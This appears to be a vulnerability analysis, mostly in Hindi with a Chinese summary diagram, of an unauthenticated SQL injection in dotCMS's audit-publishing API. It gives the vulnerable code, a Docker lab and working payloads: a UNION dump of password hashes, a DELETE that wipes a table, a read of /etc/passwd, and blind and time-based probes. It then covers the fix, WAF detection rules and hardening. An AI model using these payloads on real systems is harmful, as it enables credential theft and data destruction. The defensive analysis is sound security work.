@Path("/auditPublishing")
@Tag(name = "Publishing")
public class AuditPublishingResource {

    @POST
    @Path("/getAll")
    @Produces(MediaType.APPLICATION_JSON)
    public Response getAll(List<String> bundleIds) {
        // 【भेद्यता बिंदु】कोई प्रमाणीकरण जांच नहीं! सीधे बैकएंड API को कॉल करें
        try {
            final List<PublishAuditStatus> statuses = auditAPI.getPublishAuditStatuses(bundleIds);
            // ...
        }
    }
}

@CloseDBIfOpened
public List<PublishAuditStatus> getPublishAuditStatuses(List<String> bundleIds)
        throws DotPublisherException {
    try {
        final List<PublishAuditStatus> result = new ArrayList<>();

        DotConnect dc = new DotConnect();

        // 【भेद्यता बिंदु 1】सीधे उपयोगकर्ता इनपुट को SQL स्टेटमेंट में जोड़ें
        // बस एक उद्धरण जोड़ें, कोई पैरामीटरीकरण या एस्केपिंग नहीं
        final List<String> parameter = bundleIds.stream()
            .map(id -> "'" + id + "'")  // खतरनाक: स्ट्रिंग संयोजन
            .collect(Collectors.toList());

        // 【भेद्यता बिंदु 2】String.format का उपयोग करके SQL निर्माण, उपयोगकर्ता इनपुट सीधे एम्बेडेड
        dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS,
            String.join(",", parameter)));

        List<Map<String, Object>> items = dc.loadObjectResults();

        for(Map<String, Object> item: items) {
            result.add(turnIntoPublishAuditStatus(NO_LIMIT_ASSETS, item));
        }

        return result;
    } catch(Exception e) {
        Logger.debug(PublisherUtil.class, e.getMessage(), e);
        throw new DotPublisherException("Unable to get list of elements with error:" + e.getMessage(), e);
    }
}

SELECT * FROM publishing_queue_audit WHERE bundle_id IN (%s)

SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('normal-id')

SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('x' OR '1'='1')

POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json

["x' UNION SELECT user_id,password_hash,email,null,null FROM dotcms_user--"]

POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json

["x'; DELETE FROM publishing_queue_audit; --"]

POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json

["x' UNION SELECT null,pg_read_file('/etc/passwd'),null,null,null--"]

services:
  dotcms:
    build: .
    container_name: dotcms-vuln
    ports:
      - "8080:8080"
      - "8443:8443"
    environment:
      - DOT_INITIAL_ADMIN_PASSWORD=admin
      - DOT_DOTCMS_URL=http://localhost:8080
      - DOT_DB_HOST=dotcms-db
      - DOT_DB_PORT=5432
      - DOT_DB_NAME=dotcms
      - DOT_DB_USERNAME=dotcms
      - DOT_DB_PASSWORD=dotcms
      - DOT_DB_BASE_URL=jdbc:postgresql://dotcms-db:5432/dotcms
      - DOT_DB_DRIVER=org.postgresql.Driver
      - DOT_ES_ENDPOINTS=http://dotcms-es:9200
      - DOT_ES_HOSTNAME=dotcms-es
    depends_on:
      dotcms-db:
        condition: service_healthy
      dotcms-es:
        condition: service_started

  dotcms-db:
    image: postgres:15
    environment:
      - POSTGRES_DB=dotcms
      - POSTGRES_USER=dotcms
      - POSTGRES_PASSWORD=dotcms
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -U dotcms"]
      interval: 5s
      timeout: 5s
      retries: 20

  dotcms-es:
    image: elasticsearch:7.17.24
    environment:
      - discovery.type=single-node
      - xpack.security.enabled=false
      - "ES_JAVA_OPTS=-Xms512m -Xmx512m"

FROM dotcms/dotcms:25.11.04-1

docker compose up -d
# dotCMS इनिशियलाइज़ेशन पूरा होने तक प्रतीक्षा करें (लगभग 2-3 मिनट)
# स्थिति जांचें: docker compose logs -f dotcms

POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json
Content-Length: 11

["test-id"]

POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json

["real-bundle-1') and 1=1--'"]

POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json

["real-bundle-1') and 1=2--'"]

-- सत्य स्थिति: bundle_id मिलान करता है और 1=1 सत्य है -> डेटा लौटाता है -> कोड NPE संभालता है -> 404
select * from publishing_queue_audit where bundle_id in ('real-bundle-1') and 1=1--'')

-- असत्य स्थिति: bundle_id मिलान करता है लेकिन 1=2 असत्य है -> कोई डेटा नहीं लौटाता -> रिक्त परिणाम सामान्य रूप से संभाला जाता है -> 200
select * from publishing_queue_audit where bundle_id in ('real-bundle-1') and 1=2--'')

POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json

["x') and (SELECT pg_sleep(3))::text='t'--'"]

POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json

["x') and (SELECT pg_sleep(5))::text='t'--'"]

select * from publishing_queue_audit where bundle_id in ('x') and (SELECT pg_sleep(3))::text='t'--'')

final List<String> parameter = bundleIds.stream()
    .map(id -> "'" + id + "'")
    .collect(Collectors.toList());
dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS, String.join(",", parameter)));

// जोड़ा गया: शून्य मान जांच
if (bundleIds == null || bundleIds.isEmpty()) {
    return Collections.emptyList();
}

// पैरामीटरयुक्त क्वेरी प्लेसहोल्डर का उपयोग करें
final String placeholders = bundleIds.stream()
    .map(id -> "?")
    .collect(Collectors.joining(","));

dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS, placeholders));
bundleIds.forEach(dc::addParam);  // पैरामीटर बाइंडिंग, SQL इंजेक्शन रोकता है

public Response getAll(List<String> bundleIds) {
    // कोई प्रमाणीकरण जांच नहीं
    try {
        final List<PublishAuditStatus> statuses = auditAPI.getPublishAuditStatuses(bundleIds);

public Response getAll(final List<String> bundleIds,
                       @Context final HttpServletRequest request) {

    // जोड़ा गया: Push Publish Token प्रमाणीकरण जांच
    final AuthCredentialPushPublishUtil.PushPublishAuthenticationToken ppAuthToken =
            AuthCredentialPushPublishUtil.INSTANCE.processAuthHeader(request);

    final Optional<Response> failResponse = PushPublishResourceUtil.getFailResponse(request, ppAuthToken);

    if (failResponse.isPresent()) {
        return failResponse.get();  // 401 Unauthorized लौटाता है
    }
    // ...
}

# /etc/nginx/conf.d/dotcms-security.conf

# Publish Audit API अनुरोधों को अवरुद्ध करें
location ~ ^/api/auditPublishing/(get|getAll) {
    # 403 निषिद्ध लौटाएं
    return 403 "निषिद्ध: सुरक्षा कारणों से एंडपॉइंट अवरुद्ध";
    add_header Content-Type text/plain;
}

# या अधिक ढीला तरीका, केवल आंतरिक नेटवर्क पहुंच की अनुमति दें
location ~ ^/api/auditPublishing/(get|getAll) {
    # आंतरिक नेटवर्क IP श्रेणी की अनुमति दें
    allow 10.0.0.0/8;
    allow 172.16.0.0/12;
    allow 192.168.0.0/16;
    # अन्य सभी स्रोतों को अस्वीकार करें
    deny all;
}

# SQL इंजेक्शन विशेषताओं के लिए WAF नियम
location / {
    # सामान्य SQL इंजेक्शन विशेषताओं का पता लगाएं
    if ($request_uri ~* "(union|select|insert|update|delete|drop|--)") {
        return 403;
    }

    # एकल उद्धरण इंजेक्शन का पता लगाएं
    if ($request_uri ~* "'") {
        return 403;
    }

    proxy_pass http://dotcms_backend;
}

# /etc/modsecurity/rules/dotcms-cve-2026-8054.conf

# नियम 1: भेद्यता एंडपॉइंट तक पहुंच को अवरुद्ध करें
SecRule REQUEST_URI "@rx /api/auditPublishing/(get|getAll)" \
    "id:2026805401,phase:1,deny,status:403,msg:'CVE-2026-8054: dotCMS भेद्य एंडपॉइंट तक पहुंच अवरुद्ध'"

# नियम 2: SQL इंजेक्शन विशेषताओं का पता लगाएं
SecRule REQUEST_BODY "@rx (?i:(union|select|insert|update|delete|drop|exec|--)".*?(from|into|table))" \
    "id:2026805402,phase:2,deny,status:403,msg:'CVE-2026-8054: SQL इंजेक्शन प्रयास का पता चला'"

-- PostgreSQL अनुमति सीमा उदाहरण
-- सीमित उपयोगकर्ता बनाएं
CREATE USER dotcms_restricted WITH PASSWORD 'secure_password';

-- केवल आवश्यक तालिका अनुमतियाँ प्रदान करें
GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO dotcms_restricted;

-- तालिका बनाना/हटाना प्रतिबंधित करें
REVOKE CREATE ON SCHEMA public FROM dotcms_restricted;

-- सिस्टम कमांड निष्पादित करना प्रतिबंधित करें
REVOKE ALL ON FUNCTION pg_exec FROM dotcms_restricted;

-- फ़ाइल पढ़ना प्रतिबंधित करें
REVOKE ALL ON FUNCTION pg_read_file FROM dotcms_restricted;

# API पोर्ट तक पहुंच को सीमित करने के लिए iptables का उपयोग करें
# केवल आंतरिक नेटवर्क को पोर्ट 8080 तक पहुंच की अनुमति दें
iptables -A INPUT -p tcp --dport 8080 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -s 172.16.0.0/12 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -s 192.168.0.0/16 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -j DROP

graph TD
    subgraph 漏洞总结
        subgraph 根因分析
            A[缺乏输入验证<br/>用户输入直接拼接SQL]
            B[缺乏认证<br/>API无需认证即可访问]
            C[缺乏参数化<br/>字符串拼接而非参数查询]
        end

        subgraph CVSS评估
            D[CVSS 10.0<br/>Critical]
            E[网络远程]
            F[低复杂度]
            G[无需认证]
        end

        subgraph 修复建议
            H[P0: 立即升级<br/>26.04.28-03]
            I[P1: WAF拦截<br/>临时缓解]
            J[P2: 数据库权限<br/>降低影响]
        end
    end

    A -->|导致| D
    B -->|导致| D
    C -->|导致| D

    H -->|解决| A
    H -->|解决| B
    H -->|解决| C

    I -.->|临时替代| H
    J -.->|降低风险| H

    style D fill:#ff6b6b,stroke:#333,color:#fff
    style H fill:#51cf66,stroke:#333

    note1[攻击向量: Network<br/>攻击复杂度: Low<br/>权限要求: None<br/>用户交互: None]